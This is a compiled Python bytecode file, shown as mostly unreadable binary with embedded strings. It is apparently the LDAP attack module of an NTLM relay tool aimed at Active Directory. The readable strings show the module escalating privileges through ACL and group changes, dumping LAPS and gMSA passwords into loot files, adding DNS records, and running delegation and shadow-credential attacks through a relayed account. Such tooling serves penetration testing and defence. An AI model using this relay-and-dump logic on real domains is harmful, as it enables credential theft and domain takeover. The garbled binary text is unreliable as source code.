   Úaddress_inforÖ   r   r¨   rz  rT  r   r€   r†   rˆ   rq   )r,   rž   Úipaddrr´  rÃ  Údns_naming_contextr‹   rŒ   Údns_base_dnÚACL_ALLOW_EVERYONE_EVERYTHINGÚa_record_nameÚis_name_wpadÚa_record_dnÚa_record_dataÚns_record_nameÚns_record_dnÚns_record_valueÚns_record_datar-   r±  r.   ÚaddDnsRecord
  sj   
þ*
ûûzLDAPAttack.addDnsRecordc                 C   sÈ  t  ¡ }| jj|_t  | jj| j|¡}| jjr=| j	d ur=t
 d| j	j| j| jf ¡ | j	 ¡  t| j	|| jƒ}| ¡  d S | jjrzt
 d¡ |  | j|¡\}}|d rXt
 d¡ |d rp|d  d¡d d	d … }t
 d
| ¡ |d ryt
 d¡ nt
 d¡ tƒ }d|d< d|d< d|d< | jjrÚ|d rÚt
 d¡ | jjrº|  || jj¡}|s¯t
 d¡ n+|\}}|  ||¡ n |d rÕ|  |d |¡}|sÎt
 d¡ n|  ||¡ nt
 d¡ | jj�r1|d �r1t
 d¡ | jj�r|  || jj¡}|sþt
 d¡ n3|\}}|  |||d ¡ n%|d �r,|  |d |¡}|�s"t
 d¡ n|  |||d ¡ nt
 d¡ | jj�rÇt
 d¡ | jj |j!dt"j#ddgd�}	|	�rÇd }
d| j d t$t% &dd¡ƒ }d}| jj'D ]G}z?d|d d   }d!|d d  }|
d u �r€t(|d"ƒ}
|d#7 }t
 |¡ t
 |¡ |
 )|¡ |
 )d$¡ |
 )|¡ |
 )d$¡ W �qc   Y �qc|
d u �r¹t
 d%| j ¡ nt
 d&|| jf ¡ |
 *¡  | jj+�rŽt
 d'¡ | jj,�sî| jjj-�sît
 d(¡ | j .¡ �sît
 d)¡ dS | jj |j!d*t"j#d+d,gd�}	|	�rŽd }
d-| j d t$t% &dd¡ƒ }d}| jj'D ][}zS|d d+ }|d d, }t/ƒ }| 0|¡ t1 2¡ }| 3|d. d d/… ¡ t4 5| 6¡ ¡ 7d0¡}|d1 | }t
 |¡ |d#7 }|
d u �r_t(|d"ƒ}
|
 )|¡ |
 )d$¡ W �q   Y �q|
d u �r€t
 d2| j ¡ nt
 d3|| jf ¡ |
 *¡  t8�s¡| jj9�r¡da8|  :¡  t
 d4¡ | jj;�rï| jj;d }| jj;d# }d}d}|d5k�rËt<  d6|t<j=¡�rËt
 d7¡ d}zt>|ƒ W n t?�yâ   t
 d8¡ d}Y nw |�rï|�rï|  @||¡ | jjAd u�r| jj |j!d9d:gd;� d<d=„ | jjBd d: D ƒd }t
 d> C|¡¡ |  D||¡ | jjE�r:| jd? d@k�r:|  F| jj| j|| jjG¡ d S | jjH�rF|  I|¡ d S tJ�s`| jjK�rbdaJt
 dA¡ | L¡  t
 dB¡ d S d S d S )CNz?Started interactive Ldap shell via TCP on 127.0.0.1:%d as %s/%szMEnumerating relayed user's privileges. This may take a while on large domainsr+  z"User privileges found: Create userr-  r.  r¤   r   rN   z=User privileges found: Adding user to a privileged group (%s)r/  z+User privileges found: Modifying domain ACLzFAssuming relayed user has privileges to escalate a user via ACL attackFTzPerforming ACL attackz(Unable to escalate without a valid user.r,  zˆCannot perform ACL escalation because we do not have create user privileges. Specify a user to assign privileges to with --escalate-userzPerforming Group attackz2Unable to escalate without a valid user, aborting.z!Attempting to dump LAPS passwordsz(&(objectCategory=computer))ÚDistinguishedNamezms-MCS-AdmPwdr¸   z
laps-dump-ú-iŸ† zDN:rº   Údistinguishednamez	Password:za+r<   Ú
zHThe relayed user %s does not have permissions to read any LAPS passwordsz@Successfully dumped %d LAPS passwords through relayed account %sz!Attempting to dump gMSA passwordszfDumping gMSA password requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLSrH   z0(&(ObjectClass=msDS-GroupManagedServiceAccount))rj   zmsDS-ManagedPasswordz
gmsa-dump-r$   éþÿÿÿrd   z:::zHThe relayed user %s does not have permissions to read any gMSA passwordsz@Successfully dumped %d gMSA passwords through relayed account %szDone dumping ADCS infoÚ*z
[^0-9a-z-]zInvalid name for DNS recordzInvalid IPv4 for DNS recordz(ObjectClass=domain)ÚwellKnownObjectsr  c                 S   s(   g | ]}d |v r|  d¡ d¡d ‘qS )s    AA312825768811D1ADED00C04FD8D5CDrd   r%   rb   )r‡   r¦   )rV   ré   r-   r-   r.   rš  Z  s
    ÿz"LDAPAttack.run.<locals>.<listcomp>zComputer container is {}rb   r[   z"Dumping domain info for first timez Domain info dumped into lootdir!)MÚldapdomaindumpÚdomainDumpConfigrA   ÚlootdirÚbasepathrŠ   rt   rv   rB   rC   r   rx   ÚportrŒ   rE   Úlistenr   ÚcmdloopÚvalidateprivsrD  r¦   rw  Ú	aclattackr…   rò   rÑ   rs   r  r£   Úadddar°   ÚdumplapsrÖ   rz   r¨   ry  rˆ   rQ   ÚrandintrØ   r%  ÚwriteÚcloseÚdumpgmsaru   rw   ry   r   r/   r   Únewr�  r  r  Údigestr‡   Ú
dumpedAdcsÚdumpadcsr—  Úadddnsrecordr{   r~   r   r	   rÛ  r=   r  r„   r”   Údelegateaccessr   rû   ÚIsShadowCredentialsAttackrì   ÚdumpedDomainÚ
dumpdomainÚ
domainDump)r,   rä  rŠ   Ú
ldap_shellÚuserSidr>  rž   rq   r¬   r  Úfdr)  Úcountré   rñ   ÚpasswdÚsamr*   ÚblobÚhashÚuserpassrÏ  Údns_name_okÚdns_ipaddr_okÚcomputerscontainerr-   r-   r.   Úrun‹  s6  





€






























þÿý


ûzLDAPAttack.run)NN)r3   r4   r5   Ú__doc__ÚPLUGIN_NAMESrM  rL  ÚGENERIC_EXECUTErK  r+   r”   r£   r°   rì   r   r  r  rD  rÑ   r:  ÚstaticmethodrU  r—  rÛ  r  r-   r-   r-   r.   r   f   s2    
C2S;:=
X
  c                 C   sš   t  ¡ }t jj|d< d|d< t  ¡ }t  ¡ |d< t jj|d d< t| ƒ|d< d|d< t  ¡ |d< |d  |¡ ||d  	¡ ksAJ ‚t jj
|d	< ||d
< |S )NrG  r   ÚAceFlagsrI  rJ  ó    rH  rð   rl  rï   )r   r   r   rO  r   ÚADS_RIGHT_DS_CONTROL_ACCESSr   ÚLDAP_SIDÚfromCanonicalrõ   rW  )Úprivguidrû   ÚnaceÚacedatar-   r-   r.   r  t  s   r  c                 C   sb   t  ¡ }t jj|d< d|d< t  ¡ }t  ¡ |d< d|d d< t  ¡ |d< |d  | ¡ ||d< |S )NrG  r   r  rI  r9   rð   rï   )r   r   r   rO  r   r  r  )rû   r  r  r-   r-   r.   r÷   …  s   r÷   c                  C   s|   t  ¡ } d| d< d| d< d| d< t  ¡ | d< | d  d¡ d	| d
< d	| d< t  ¡ }d|d< d|d< d|d< g |_|| d< | S )Nó   ÚRevisionó    ÚSbz1i€  ÚControlrF  r6  r  ÚGroupSidÚSaclr  ÚAclRevisionr   ÚSbz2rî   )r   ró   r  r  ÚACLrô   )rþ   Úaclr-   r-   r.   rö   ‘  s   rö   c                 C   sV   | d d   tj¡}| d tjks| d d dkrdS t| d d ƒ ¡ dk}|o*|S )Nrï   rI  rG  rJ  r  Fz$bf967aba-0de6-11d0-a285-00aa003049e2)rV  r   ÚADS_RIGHT_DS_CREATE_CHILDrO  r   rT  )rÿ   ÚcreateprivsÚ	userprivsr-   r-   r.   rX  ¤  ó
   rX  c                 C   sV   | d d   tj¡}| d tjks| d d dkr|S t| d d ƒ ¡ dk}|o*|S )Nrï   rI  rG  rJ  r  z$bf9679c0-0de6-11d0-a285-00aa003049e2)rV  r   ÚADS_RIGHT_DS_WRITE_PROPrO  r   rT  )rÿ   Ú
writeprivsr"  r-   r-   r.   rY  ¬  r#  rY  )Crª   rQ   rS   r&  r!  r  r$  r{   Údns.resolverrº  r¨   rã  Úldap3.core.resultsr   Úldap3.protocol.microsoftr   Ú$ldap3.protocol.formatters.formattersr   Úldap3.utils.convr   ÚosÚCryptodome.Hashr   Ú	ipaddressr   r	   Ú	functoolsr
   Úimpacketr   Úimpacket.examples.ldap_shellr   Ú$impacket.examples.ntlmrelayx.attacksr   Ú+impacket.examples.ntlmrelayx.utils.tcpshellr   Úimpacket.ldapr   Úimpacket.ldap.ldaptypesr   r   r   r   r   Úimpacket.uuidr   r   Úimpacket.structurer   r   Ú"impacket.examples.ntlmrelayx.utilsr   ÚImportErrorÚprintÚPROTOCOL_ATTACK_CLASSrù  rô  r    rr   rÐ   r   r   r  r÷   rö   rX  rY  r-   r-   r-   r.   Ú<module>   sl   þ#        